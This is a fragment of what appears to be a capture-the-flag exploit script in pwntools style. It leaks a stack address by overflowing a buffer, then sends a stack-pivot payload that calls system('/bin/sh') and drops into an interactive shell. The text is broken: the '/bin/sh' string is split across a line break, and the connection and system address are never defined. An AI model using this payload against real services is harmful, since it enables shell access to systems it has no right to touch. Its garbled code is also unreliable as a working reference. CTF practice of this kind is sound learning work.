payload = 'a' * 0x20 + 'bbbbbbbb'
r.send(payload)
r.recvuntil('b' * 8)
ebp_addr= u32(r.recv(4))
payload = ('a' * 8 + p32(ebp_addr - 0x24) + 'bbbb' + p32(system_addr) + 'cccc' + p32(ebp_addr - 0x1c) + '/bin/sh'
\x00').ljust(0x28, 'p')+p32(ebp_addr-0x2c)
r.send(payload)

r.interactive()
```